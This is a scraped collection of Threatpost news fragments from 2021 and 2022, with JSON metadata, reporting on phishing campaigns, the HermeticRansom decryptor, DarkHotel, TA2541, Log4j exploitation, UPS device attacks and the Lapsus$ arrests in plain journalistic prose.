but Steam profiles being used as attacker-controlled hosting sites, is \u2013 and readers\u2019 ears perked up in a big way when we posted the story.\n\n### **Twitch Source-Code Leak**\n\nIn October, an anonymous user posted a link to a 125GB torrent on 4chan, containing all of Twitch\u2019s source code, comments going back to its inception, user-payout information and more.\n\nThe attacker [claimed to have ransacked](<https://threatpost.com/twitch-source-code-leaked/175359/>) the live gameplay-streaming platform for everything it\u2019s got; Twitch confirmed the breach not long after.\n\nThe threat actor rationalized gutting the service by saying that the Twitch community needs to have the wind knocked out of its lungs. They called the leak a means to \u201cfoster more disruption and competition in the online-video streaming space,\u201d because \u201ctheir community is a disgusting toxic cesspool.\u201d\n\n### **Steam-Stealing Discord Scams**\n\nIn November, a scam started making the rounds on Discord, through which cybercriminals could harvest Steam account information and make off with any value the account contained.\n\nGamer-aimed Discord scams are just about everywhere. But researchers [flagged a new approach](<https://threatpost.com/free-discord-nitro-offer-steam-credentials/176011/>) as noteworthy because it crossed over between Discord and the Stream gaming platform, with crooks offering a purported free subscription to Nitro (a Discord add-on that enables avatars, custom emoji, profile badges, bigger uploads, server boosts and so on), in exchange for \u201clinking\u201d the two accounts.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/04113440/nitro-fake-discord-website-600x324-1.png>)\n\nThe target is first served a malicious direct message on Discord with the fake offer. \u201cJust link your Steam account and enjoy,\u201d the message said, which included a link to purportedly do just that. The malicious link takes users to a spoofed Discord page with a button that reads, \u201cGet Nitro.\u201d Once a victim clicks on the button, the site appears to serve a Steam pop-up ad, but researchers explained the ad is still part of the same malicious site.\n\nThe gambit is intended to fool users into thinking they\u2019re being taken to the Steam platform to enter in their login information \u2014 in reality, the crooks are poised to harvest the credentials.\n\n### **Sony PlayStation3 Bans**\n\nIn June, a reported breach of a Sony folder containing the serial ID numbers for every PlayStation3 console out there [appeared to](<https://threatpost.com/ps3-players-ban-attacks-gaming/167303/>) have led to users being inexplicably banned from the platform.\n\nSony reportedly left a folder with every PS3 console ID online unsecured, and it was discovered and reported by a Spanish YouTuber with the handle \u201cThe WizWiki\u201d in mid-April. In June, players on PlayStation Network message boards began complaining that they couldn\u2019t sign on.\n\nUsers mused that threat actors started using the stolen PS3 console IDs for malicious purposes, causing the legitimate players to get banned. But Sony didn\u2019t confirm a connection between the PS3 ID breach and player reports of being locked out of the platform.\n\n## **Bonus Item: Zodiac Killer Cipher \u2013 Revealed!!**\n\nOne of the quirky stories that made it into the Top 10 most-read Threatpost stories for 2021 concerned the cracking of the Zodiac\u2019s serial killer\u2019s 340 cipher, which couldn\u2019t be solved for 50 years. \nIn December 2020, the code [was cracked](<https://threatpost.com/cryptologists-zodiac-killer-340-cipher/162353/>) by a team of mathematicians.\n\nThe Zodiac serial killer is believed to have murdered at least five people \u2014 and likely more \u2014 in and around the Northern California area in the late 1960s and early 1970s. The still-unnamed murderer sent a series of four coded messages to local newspaper outlets, bragging about his crimes and containing cryptic icons, which earned him the moniker \u201cZodiac.\u201d[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/12/17122725/Zodiac-e1608226062664.jpg>)\n\nThe first cipher was quickly decoded. But the second, the 340 Cipher, named after its 340 characters, was trickier to figure out. Australian-based mathematician Sam Blake calculated that there were 650,000 possible ways to read the code, and Jarl Van Eycke, whose day job is as a warehouse operator in Belgium, wrote a code-breaking software to tackle decryption.

Novel email campaigns are spoofing popular financial technology (fintech) applications and their tax notifications to try to dupe victims into giving up their credentials, researchers have found.\n\nIt\u2019s common for attackers to target popular tax filing and preparation apps such as [Intuit](<https://threatpost.com/attackers-intuit-cancel-tax-accounts/178219/>) and TurboTax in various cybercriminal campaigns during tax season, a time that\u2019s traditionally rife with scams. In 2020, for example, threat actors [targeted small tax-preparation](<https://threatpost.com/latest-tax-scam-target-apps-and-tax-prep-websites/152998/>) firms by planting malicious code on their websites to spread malware to site users.\n\nThis year, attackers have pivoted to take on the personas of fintech apps like [Stash](<https://www.stash.com/>) and [Public](<https://public.com/>) \u201cto steal credentials and give users a false sense of security that they\u2019ve compiled the right tax documents,\u201d according to[ a report](<https://www.avanan.com/blog/hackers-begin-spoofing-fintech-apps-as-tax-season-approaches>) published Thursday by Avanan, a Check Point company.\n\nIn scams observed by Avanan researchers beginning in February, attackers spoof the logo and look and feel of communication that Stash and Public might send to end users to inform them that their tax document is ready, Jeremy Fuchs, Avanan cybersecurity researcher and analyst, wrote in the report.\n\nThe email includes a link to a document \u2013 purportedly associated with the person\u2019s Stash or Public account \u2013 and invites users to use the link to log in to their accounts to access it. When the user clicks on the link, however, they are directed not to a legitimate log-in site, but to one that harvests their credentials, Fuchs said.\n\n## **Rise in Fintech Threats**\n\nFintech is a growing attack surface for threat actors due to the sheer increase in its user base in the last couple of years, primarily attributed by researchers to the pandemic-related increase in people\u2019s overall time online.\n\nAccording to [a study](<https://plaid.com/blog/report-the-fintech-effect-2021/>) by fintech startup Plaid, 88 percent of people in the United States were using some form of fintech by late 2021 \u2013 a rise of 52 percent from the 58 percent of people who reported using fintech in 2020.\n\nSurprisingly, that\u2019s more than the number of people in the United States who use streaming services or social media, making fintech an attractive target for threat actors, Fuchs wrote. \u201cThat gives hackers a wide range of people to steal credentials from,\u201d he said.\n\nThreat actors began an early foray into targeting fintech users during tax season by targeting online investment service Robinhood [last April](<https://threatpost.com/robinhood-warns-customers-of-tax-season-phishing-scams/165180/>) in a similar way to this year\u2019s campaigns spoofing Stash and Public. At the time, researchers discovered an attack vector that used phishing emails with links to fake Robinhood websites prompting visitors to enter their login credentials.\n\n## **Catching Users Off Guard**\n\nFintech companies are also an attractive target because these types of scams can catch users by surprise, Fuchs noted.\n\n\u201cThey may not be expecting tax documents from these apps, inducing them to click,\u201d he wrote in the report. \u201cSince most of these services are mobile-first, users may receive this on their phone and may forget about typical cyber hygiene.\u201d\n\nOn the contrary, people should be at their most diligent when receiving any emails regarding tax forms or services, given that clicking on the wrong link, especially while connected to a corporate network, can have dire consequences, Fuchs said.\n\nTo keep networks safe during tax season, Avanan is advising security professionals\n\nto encourage end-users to check URLs before clicking on tax-related emails, as well as to ask users to log in directly to the financial institution when receiving tax-notification emails while at work. They also suggest security admins urge end-users to reach out to the company\u2019s IT department if they are unsure if an email is legitimate or not.\n\n**_Moving to the cloud?

Avast, which named the new strain HermeticRansom, on Thursday [released](<https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/>) a free decryptor that incorporated a decryption [script](<https://github.com/CrowdStrike/PartyTicketDecryptor>) CrowdStrike released to GitHub, a user-friendly GUI and a set of instructions on its use.\n\nThe decryptor can be downloaded [here](<https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/#howto>).\n\n## Crypto Likely Weakened by Coding Errors\n\nHermeticRansom, aka PartyTicket, was [identified](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia>) at several victimized organizations, among other malware families that included what CrowdStrike called the \u201csophisticated\u201d HermeticWiper, aka DriveSlayer.\n\nRegardless of how sophisticated the wiper malware was, the ransomware that hopped a ride on it had less-than-stellar encryption, with a logic flaw in the encryption process that enabled researchers to break through, CrowdStrike said: \u201cAnalysis of the [PartyTicket/HermeticRansom] ransomware indicates it superficially encrypts files and does not properly initialize the encryption key, making the encrypted file with the associated .encryptedJB extension recoverable.\u201d\n\nAt the time it published its report, CrowdStrike hadn\u2019t traced the ransomware to a known threat actor. It didn\u2019t quite seem like a serious attempt at ransomware, at any rate, researchers said, given the coding errors that made its encryption \u201cbreakable and slow.\u201d\n\nEither the malware author was unfamiliar with writing in Go or rushed its development without thoroughly testing it, analysts surmised.\n\nEither way, it looked to analysts as if extortion wasn\u2019t the primary aim: \u201cThe relative immaturity and political messaging of the ransomware, the deployment timing and the targeting of Ukrainian entities are consistent with its use as an additional payload alongside DriveSlayer activity, rather than as a legitimate ransomware extortion attempt,\u201d they wrote.\n\nBelow is a screen capture of HermeticRansom\u2019s extortion note:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/04105632/HermeticRansom-Ransom-note-e1646409408416.png>)\n\nHermeticRansom ransomware demand note.

The emails asked the recipient to open an attached Excel file labeled \u201cpassenger inquiry.\u201d\n\n\u201cPlease open the attached file with enable content and specify whether the people were staying at the hotel or not?\u201d the malicious email read, according to the threat researchers with Trellix.

Source: Trellix.\n\nTrellix was able to attribute the attacks to DarkHotel with a \u201cmoderate\u201d level of confidence due to the IP address for the command-and-control server (C2), which was previously attached to the group; the targeting of hotels, which DarkHotel is already infamous for; and patterns found in the C2 setup which match known DarkHotel activities, the report said.\n\n\u201cHowever, we have lowered our confidence level to moderate because the specific IP address remained active for quite some time even after being publicly exposed, and the same IP address is the origin of other malicious content not related to this specific threat,\u201d the Trellix team said. \u201cThese two observations have made us more cautious in our attribution.\u201d\n\n## **DarkHotel Suspected of Stealing Data for Future Attacks **\n\nOnce opened, the macros contacted the C2 server to begin data exfiltration from the hotel networks, the Trellix team explained.\n\n\u201cThe command-and-control server, hxxps://fsm-gov(.)com, used to spread this campaign was trying to impersonate a legitimate government website domain for the Federated States of Micronesia,\u201d Trellix\u2019s report added. \u201cHowever, the real Micronesia website domain is \u2018fsmgov.org.'\u201d\n\nThe Trellix team said they suspected the attackers were collecting data to be used later.\n\n\u201cAfter researching the event agenda for the targeted hotels, we did indeed find multiple conferences that would have been of interest to the threat actor,\u201d the Trellix researchers reported. \u201cFor instance, one hotel was hosting an International Environment Forum and an International Trade & Investment Fair, both of which would attract potential espionage targets.\u201d\n\nThe spear-phishing campaign stopped on Jan. 18, the team said.\n\n## **COVID-19 Stalls Campaign **\n\nThat said, the COVID-19 pandemic cancelled or delayed these events, giving law enforcement time to catch on. By Dec. 2021, the Macao Security Force Bureau received a notification from the Cyber Security Incident Alert and Emergency Response Center of the police department that a domain similar to the official Security Force page was being used to spread malware and \u201ccommit illegal acts.\u201d\n\nBesides targeting hotels, other campaigns attributed to the same C2 IP address, believed to be controlled by DarkHotel, included going after MetaMask crypto users with a spoofed Collab.Land phishing page, the Trellix report added.\n\nDarkHotel has a long history of targeting Chinese victims. In April 2020, the APT group went after Chinese virtual private network (VPN) service provider SangFor, used by several Chinese government agencies. By the end of the first week of that month, at least 200 endpoints had been compromised, according to reports.\n\nAround the same time, at the start of the COVID-19 pandemic, [DarkHotel targeted the systems of the World Health Organization](<https://threatpost.com/who-attacked-possible-apt-covid-19-cyberattacks-double/154083/>).\n\nAttacks like these show how attractive data stored in hotel networks can be for threat actors. Hotel operators should recognize that cybersecurity needs to reach beyond their networks\u2019 edge, the Trellix team advised. Travelers likewise need to take appropriate security precautions, Trellix added.\n\n\u201cOnly bring the essential devices with limited data, keep security systems up to date and make use of a VPN service when using hotel Wi-Fi,\u201d the report said.\n\n_**Moving to the cloud?

These campaigns have affected hundreds of organizations across the world, with recurring targets in North America, Europe and the Middle East, researchers said.\n\nThough a number of the group\u2019s attacks already have been tracked by various researchers \u2013 including [Microsoft](<https://twitter.com/MsftSecIntel/status/1392219299696152578>), [Mandiant](<https://www.mandiant.com/resources/dissecting-netwire-phishing-campaigns-usage-process-hollowing>), [Cisco Talos](<https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html>), [Morphisec](<https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader>) and others \u2013 since at least 2019, Proofpoint\u2019s latest research shares \u201ccomprehensive details linking public and private data under one threat activity cluster we call TA2541,\u201d researchers wrote.\n\nIndeed, previously reported attacks related to TA2541 include [a two-year spyware campaign](<https://threatpost.com/airline-credential-theft-campaign/174264/>) against the aviation industry using the AsyncRAT called Operation Layover and uncovered by Cisco Talos last September, and a [cyberespionage campaign](<blank>) against aviation targets spreading RevengeRAT or AsyncRAT revealed by Microsoft last May, among others.\n\n## **Five Years and Still Flying High**\n\nProofpoint first started tracking the actor in 2017 when its tactic of choice was to send messages with \u201cmacro-laden Microsoft Word attachments\u201d that downloaded RAT payloads. The group has since tweaked this tactic and now most frequently sends messages with links to cloud services such as Google Drive or OneDrive hosting the payload, according to the report.\n\nHowever, although the approach to how they hide their malicious payload has varied, the group has mostly remained consistent in its choice of targets, lures and the type of payloads it uses, observed Sherrod DeGrippo, vice president of Threat Research & Detection at Proofpoint.\n\n\u201cWhat\u2019s noteworthy about TA2541 is how little they\u2019ve changed their approach to cybercrime over the past five years, repeatedly using the same themes, often related to aviation, aerospace, and transportation, to distribute remote access trojans,\u201d she said in an email to Threatpost. \u201cThis group is a persistent threat to targets throughout the transportation, logistics, and travel industries.\u201d\n\nIn terms of which specific RATs are used, attackers tap a variety of low-hanging fruit \u2013 that is, commodity malware that\u2019s available for purchase on criminal forums or available in open-source repositories. Currently, TA2541 prefers to drop AsyncRAT on victims\u2019 machines but also is known to use NetWire, WSH RAT and Parallax, researchers said.\n\nSo far, all of the malware distributed by the group has been aimed at information-gathering purposes and to gain remote control of an infected machine, with researchers acknowledging that they don\u2019t know the threat actor\u2019s \u201cultimate goals and objectives\u201d beyond this initial compromise, they said.\n\n## **Typical Malicious Emails**\n\nA typical malicious message in a TA2541 campaign uses a lure related to some type of logistical or transportation theme related to one of the particular industries it\u2019s targeting, researchers said.\n\n\u201cIn nearly all observed campaigns, TA2541 uses lure themes that include transportation-related terms such as flight, aircraft, fuel, yacht, charter, etc.,\u201d according to the report.\n\nFor example, researchers revealed an email that impersonated an aviation company requesting information on aircraft parts, as well as another that requested info on how to transport a medical patient on a stretcher on an ambulatory flight.\n\nOnce the COVID-19 pandemic hit in March 2020, the group shifted bait tactics slightly and \u2013 like [many other threat actors](<https://threatpost.com/spearphishing-campaign-exploits-covid-19-to-spread-lokibot-infostealer/154432/>) \u2013 adopted [COVID-related lures](<https://threatpost.com/top-email-protections-fail-covid-19-phishing/154329/>) consistent with their overall theme of cargo and flight details, researchers noted.\n\n\u201cFor example, they distributed lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19 testing kits,\u201d researchers noted.\n\nHowever, this shift was short-lived, and TA2541 rather quickly returned to its more generic, transportation-related email themes, they added.\n\n## **Current Attack Vector**\n\nIn current campaigns observed by Proofpoint, if victims take the bait, they will usually be directed to click on a Google Drive URL that leads to an obfuscated Visual Basic Script (VBS) file, researchers said.\n\n\u201cIf executed, PowerShell pulls an executable from a text file hosted on various platforms such as Pastetext, Sharetext, and GitHub,\u201d researchers wrote. \u201cThe threat actor executes PowerShell into various Windows processes and queries Windows Management Instrumentation (WMI) for security products such as antivirus and firewall software, and attempts to disable built-in security protections.\u201d\n\nIn this way, TA2541 collects system information before then downloading the RAT on the host machine, according to the report.\n\nGoogle Drive has been a consistent tool of the threat group, but occasionally TA2541 also will use OneDrive to host the malicious VBS files, researchers said. In late 2021, Proofpoint also observed the group using DiscordApp URLs that link to a compressed file that led to either AgentTesla or Imminent Monitor as an attack vector, researchers said. Indeed, the Discord content delivery network (CDN) has been [an increasingly popular way](<https://threatpost.com/attackers-discord-slack-malware/165295/>) for threat actors to use a legitimate and popular app for nefarious purposes.\n\nOccasionally TA2541 also will use email attachments instead of cloud-based service links, including compressed executables such as RAR attachments with an embedded executable containing URL to CDNs hosting the malware payload, they added.\n\n**_Join Threatpost on Wed.

Now a call from a personal cell phone number, or a Zoom interview in someone\u2019s kitchen, doesn\u2019t seem all that unusual and fraudsters are taking advantage.\n\nGaming itself is under relentless attack.

Check Point added that as of Wednesday, Iranian hacking group Charming Kitten, also known as APT 35 and widely believed to be working as a [nation-state actor](<https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/>), is actively targeting seven specific Israeli organizations across the government and business sectors.\n\n\u201cOur reports of the last 48 hours prove that both criminal-hacking groups and nation state actors are engaged in the exploration of this vulnerability, and we should all assume more such actors\u2019 operations are to be revealed in the coming days,\u201d Check Point added.\n\nMicrosoft meanwhile reported that nation-state groups Phosphorus (Iran) and [Hafnium](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) (China), as well as unnamed APTs from North Korea and Turkey are actively exploiting Log4Shell (CVE-2021-44228) in targeted attacks. Hafnium is known for targeting Exchange servers with the ProxyLogon zero-days back in March, while Phosphorus [made headlines](<https://threatpost.com/microsoft-iranian-apt-t20-summit-munich-security-conference/160654/>) for targeting global summits and conferences in 2020.\n\n\u201cThis activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment and exploitation against targets to achieve the actor\u2019s objectives,\u201d the company said in [a posting](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>).\n\n## **Is a Log4j Worm Next? **\n\nResearcher Greg Linares meanwhile has reported seeing evidence that a self-propagating worm is being developed and will likely emerge in a day or less.\n\n> [#Log4J](<https://twitter.com/hashtag/Log4J?src=hash&ref_src=twsrc%5Etfw>) based on what I've seen, there is evidence that a worm will be developed for this in the next 24 to 48 hours.\n> \n> Self propagating with the ability to stand up a self hosted server on compromised endpoints.\n> \n> In addition to spraying traffic, dropping files, it will have c2c\n> \n> \u2014 Greg Linares (@Laughing_Mantis) [December 12, 2021](<https://twitter.com/Laughing_Mantis/status/1470165580736987137?ref_src=twsrc%5Etfw>)\n\nThere is wide agreement within the cybersecurity community that he\u2019s correct, but many experts don\u2019t think the fallout will be as bad with Log4j as it was with past incidents like [WannaCry or NotPetya](<https://threatpost.com/one-year-after-wannacry-a-fundamentally-changed-threat-landscape/132047/>).\n\n\u201cWhile it\u2019s possible that we could see a worm developed to spread among susceptible Log4j devices, there hasn\u2019t been any evidence to suggest this is a priority for threat actors at this time,\u201d Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, told Threatpost. \u201cDeveloping malware of this nature takes a significant amount of time and effort.\u201d\n\n\u201cThis activity differs from the WannaCry incident, which saw a perfect storm of a highly exploitable vulnerability coinciding with an NSA-level exploit breach in EternalBlue,\u201d Morgan added.\n\n\u201cIt\u2019s still very much early days with regards to Log4j,\u201d Morgan said. \u201cWhile many threat actors will likely be at different stages of the kill chain, most actors will likely still be scanning for susceptible systems, attempting to establish a foothold, and identifying further opportunities, depending on their motivations. Efforts among actors at this stage are rushing to exploit before companies have a chance to patch, rather than spending time developing a worm.\u201d\n\nThe emergence of a Log4j worm isn\u2019t the worst-case scenario, researchers like Yaniv Balmas from Salt Security explained to Threatpost.\n\n\u201cWhile not neglecting the impact of such a worm, that might not be the worst scenario because of the unbelievable easiness that this attack can be applied,\u201d Balmas said. \u201cEveryone with a basic computer and internet access could launch an attack against millions of online services within minutes. This achieves quite a similar impact as a worm \u2013 it is distributed and unpredictable, and the damage extent might even be higher than a worm since a worm works \u2018blindly\u2019 in an automated manner.\u201d\n\nHe added, \u201cin this other scenario, there are actual humans behind the attacks which may target specific entities or institutions and enable attackers to fine-tune their attacks as they progress.\u201d\n\nThe tireless work being done by security teams to [patch up Log4j against exploits](<https://threatpost.com/patching-time-log4j-exploits-vaccine/177017/>) is a big help against the development of any worms on the horizon, John Bambenek, principal threat hunter at Netenrich, told Threatpost.\n\n\u201cThis vulnerability certainly looks wormable, however, the good news is we\u2019ve already had almost a week to start dealing with detection, mitigation [and patching](<https://threatpost.com/apache-patch-log4shell-log4j-dos-attacks/177064/>),\u201dBambenek said. \u201cThere will be lots of vulnerable machines out there, but by now a good deal of the vulnerable machines have been handled and many more are protected with web application firewall (WAF) rules (for instance, Cloudflare deployed protection over the weekend). The worst case would have been a worm last week, we\u2019re in a better place now.\u201d\n\n## **Log4j\u2019s Long Tail **\n\nBeyond emergency patching measures, Galinkin explained to Threatpost that his concern is with lingering unpatched devices and systems that will be vulnerable long after Log4j has fallen out of the headlines, particularly in sectors like academia and healthcare.\n\n\u201cOne crucial thing to note about this vulnerability is that it\u2019s going to have an extremely long tail,\u201d he said. \u201cHospitals tend to purchase software once, but sometimes the vendors become defunct \u2014 leading to unsupported software that will never receive a patch.\u201d\n\nHe added, \u201cin academia, loads of software is written once by grad students or professors, but those individuals may not be aware of the bug, or they simply no longer maintain the software \u2014 software that is in use in physics, pharmacology and bioinformatics. This suggests that we will continue to see exploitation of this vulnerability \u2014 potentially in isolated incidents \u2014 long into the future.\u201d\n\n121621 16:21 UPDATE: Corrected spelling of John Bambenek\u2019s name.\n\n**_Check out our free _**[**_upcoming live and on-demand online town halls_**](<https://threatpost.com/category/webinars/>) **_\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-15T23:18:44", "type": "threatpost", "title": "Relentless Log4j Attacks Include State Actors, Possible Worm", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-15T23:18:44", "id": "THREATPOST:5CCE0C2607242B16B2880B331167526C", "href": "https://threatpost.com/log4j-attacks-state-actors-worm/177088/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-30T17:33:05", "description": "Cyberattackers are targeting uninterruptible power supply (UPS) devices, which provide battery backup power during power surges and outages. UPS devices are usually used in mission-critical environments, safeguarding critical infrastructure installations and important computer systems and IT equipment, so the stakes are high.\n\nThat\u2019s according to the Cybersecurity and Infrastructure Security Agency (CISA) and the Department of Energy, which warned that malicious types are going after internet-connected versions of UPS via default usernames and passwords, mostly \u2013 though vulnerabilities, like the [TLStorm bugs disclosed earlier this month](<https://threatpost.com/zero-click-flaws-ups-critical-infratructure/178810/>) \u2013 are also in the attacker toolbox.\n\n\u201cIn recent years, UPS vendors have added an Internet of Things [IoT] capability, and UPSs are routinely attached to networks for power monitoring, routine maintenance and/or convenience,\u201d according to a [Tuesday alert](<https://www.cisa.gov/sites/default/files/publications/CISA-DOE_Insights-Mitigating_Vulnerabilities_Affecting_Uninterruptible_Power_Supply_Devices_Mar_29.pdf>) from CISA (PDF). \u201cLoads for UPSs can range from small (e.g., a few servers) to large (e.g., a building) to massive (e.g., a data center).\u201d\n\nIf attackers are able to remotely take over the devices, they can be used for a host of nefarious ends. For instance, bad actors can use them as a jumping-off point to breach a company\u2019s internal network and steal data. Or, in a grimmer scenario, they could be used to cut power for mission-critical appliances, equipment or services, which could cause physical injury in an industrial environment, or disrupt business services, leading to significant financial losses.\n\nFurther, cyberattackers could also execute remote code to alter the operation of the UPSs themselves, or physically damage them (or the devices connected to them).\n\n\u201cIt\u2019s easy to forget that every device connected to the internet is at increased risk of attack,\u201d Tim Erlin, vice president of strategy at Tripwire, noted via email. \u201cJust because a vendor provides the capability to put a device on the internet, doesn\u2019t mean that it\u2019s set up to be secure. It\u2019s up to each organization to ensure that the systems they deploy are configured securely.\u201d\n\n## **An Easy Fix**\n\nThus, those responsible for UPS upkeep (which CISA noted could include IT staff, building operations people, industrial maintenance workers or third-party contractors from monitoring services) have an easy fix for this one: Enumerating all connected UPSs and similar systems and simply take them offline.\n\nIf maintaining an active IoT connection is a requirement, admins should change the default credentials to a strong user-name-and-password combo \u2013 and preferably, implement multifactor authentication (MFA) too, CISA added. And other mitigations, according to CISA, include ensuring UPSs are behind a virtual private network (VPN), and adopting login timeout/lockout features so that the devices aren\u2019t continually online and open to the world.\n\n\u201cThe use of a default username and password to maliciously access a system isn\u2019t a new technique,\u201d said Erlin. \u201cIf you\u2019re responding to this advisory by updating the credentials for your UPS systems, take the follow-up step to ensure that other systems aren\u2019t using default credentials as well.\u201d\n\n_**Moving to the cloud?

In a statement given to [TechCrunch](<https://techcrunch.com/2022/03/24/london-police-lapsus-arrests/>), the City of London Police said the seven are between 16 and 21: \u201cThe City of London Police has been conducting an investigation with its partners into members of a hacking group,\u201d according to Detective Inspector Michael O\u2019Sullivan. \u201cSeven people between the ages of 16 and 21 have been arrested in connection with this investigation and have all been released under investigation. Our enquiries remain ongoing.\u201d\n\nInvestigators reportedly told Bloomberg that another member of Lapsus$ is suspected to be a teenager residing in Brazil. There could well be more: Another investigator told the outlet that security researchers have identified seven unique accounts associated with Lapsus$, \u201cindicating that there are likely others involved in the group\u2019s operations.\u201d\n\n## Busy Beavers\n\nOver the past few months, Lapsus$ \u2013 a data extortion group \u2013 has targeted [Brazil\u2019s Ministry of Health](<https://www.zdnet.com/article/brazilian-ministry-of-health-suffers-cyberattack-and-covid-19-vaccination-data-vanishes/>) and the gaming giant [Ubisoft](<https://www.toolbox.com/it-security/security-general/news/lapsus-ubisoft-security-incident/>), [crippled](<https://threatpost.com/portuguese-media-giant-impresa-ransomware/177323/>) the Portuguese media kingpin Impresa, and, in recent weeks, eviscerated tech giants including [Samsung](<https://threatpost.com/samsung-lapsus-ransomware-source-code/178791/>), [Nvidia](<https://threatpost.com/nvidias-stolen-code-signing-certs-sign-malware/178784/>), [Microsoft](<https://threatpost.com/microsoft-lapsus-compromised-one-employees-account/179048/>) and [Okta](<https://threatpost.com/lapsus-data-kidnappers-claim-snatches-from-microsoft-okta/179041/>).\n\nAllison Nixon**,** chief research officer at [Unit 221B](<https://www.unit221b.com/>), is one of the researchers who\u2019ve been tracking the Oxford teen, who, researchers say, goes by the online aliases \u201cWhite,\u201d \u201cBreachbase\u201d or \u201cOklaqq,\u201d among other names\n\nShe\u2019s been working with researchers at security firm Palo Alto Networks to track individual members of LAPSUS$ even prior to the group\u2019s formation. Nixon told KrebsOnSecurity that she\u2019s convinced that the White/OklAGG individual is the head honcho, given that, among other things, theidentity has been tied to the Lapsus$ group\u2019s recruiting message for company insiders to help them penetrate targeted organizations.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/23105813/lapsus-recruitment-ad-e1648047507406.png>)\n\nThe Lapsus$ gang\u2019s recruitment ad for rogue employees.\n\nNixon told the BBC that researchers have had the Oxford teen\u2019s name since the middle of last year and that they\u2019d identified him even before he was doxed by a hacking forum \u2013 Doxbin, a site where people can post or sift through the personal data of hundreds of thousands of people for the purpose of doxing \u2013that he\u2019d allegedly purchased and then run as a lousy, much-complained-about admin.\n\nHe wound up selling the forum back to its previous owner, at a loss, then leaked the entire Doxbin dataset, leading to the Doxbin community turning around and doxing him right back. That included what Krebs reported as \u201cvideos supposedly shot at night outside his home in the United Kingdom,\u201d along with his name, address, and social media pictures.\n\nThe Doxbin community also posted a curriculum vitae of his hacking career, the BBC reported \u2013 a career that made him filthy rich in short order. His Doxbin entry connected him to Lapsus$, as well. The entry reportedly reads:\n\n> \u201c[He] slowly began making money to further expand his exploit collection. \u2026 After a few years his net worth accumulated to well over 300BTC (close to $14 mil). \u2026 [He] now is affiliated with a wannabe ransomware group known as \u2018Lapsus$\u2019, who has been extorting & \u2018hacking\u2019 several organisations.\u201d \u2014Doxbin entry, per the BBC\n\nNixon told the BBC that Unit 221B, working with Palo Alto, identified the threat actor and then watched his exploits throughout 2021, \u201cperiodically sending law enforcement a heads-up about the latest crimes.\u201d\n\nShe said that researchers tracked him by \u201cwatching the post history of an account and seeing older posts provide contact information for the guy.\u201d The \u201cWhite\u201d individual also helped, she said, by failing to cover his tracks.\n\n## Get Off My Code, You Damn Kids\n\nAfter its breaches, Lapsus$ has posted stolen source code on the group\u2019s Telegram channel, including code stolen from Microsoft\u2019s Azure DevOps server for the company\u2019s Bing and Cortana products. Lapsus$ has also posted screenshots of Okta\u2019s Slack channels and the interface for Cloudflare, which is one of thousands of customers that use Okta\u2019s technology to provide authentication for its employees.\n\nIn February, the group also [stole](<https://threatpost.com/nvidias-stolen-code-signing-certs-sign-malware/178784/>) two of Nvidia\u2019s code-signing certificates \u2013 certificates that were then used to sign malware, enabling malicious programs to slide past security safeguards on Windows machines.\n\nAfter its headline-grabbing attacks on Microsoft and Okta this past weekend, Lapsus$ announced on Tuesday that it was going to take a bit of a breather.\n\n\u201cA few of our members has a vacation until 30/3/2022. We might be quiet for some times,\u201d the hackers wrote in the group\u2019s Telegram channel. \u201cThanks for understand us. \u2013 we will try to leak stuff ASAP.\u201d\n\n## Why\u2019d You Do It?\n\nKen Westin, director of security strategy at Cybereason, said it\u2019s tough to guess at the motivation of the purported \u201cmastermind\u201d teen. \u201cMany had speculated it was an organized cybercrime syndicate or potential nation state actors,\u201d he told Threatpost in an email on Thursday.\n\nWhatever the teen\u2019s motivation \u2013 he\u2019s described as having autism, for whatever that\u2019s worth \u2013 Westin thinks the security community underestimates the younger generation. \u201cWe forget teens today have not only grown up with computers, but also have access to an unprecedented number of educational resources on programming and offensive security,\u201d he said.\n\n\u201cI speculated the group was young based on their modus operandi, or lack thereof, it was as if they were surprised by their success and were not sure what to do with it. In some of their follow up communications their language appeared more interested in the notoriety and [was] defensive of their capabilities and accomplishments than any financial motivation,\u201d he continued.\n\nOf course, when it comes to guessing what somebody\u2019s motivation might be for taking on the world\u2019s shiniest tech companies, et al., there\u2019s always that purported 300BTC income that Doxbin pointed to. Not too shabby a motivation, that, particularly when planted in the still-developing brain of a tot that\u2019s been put under 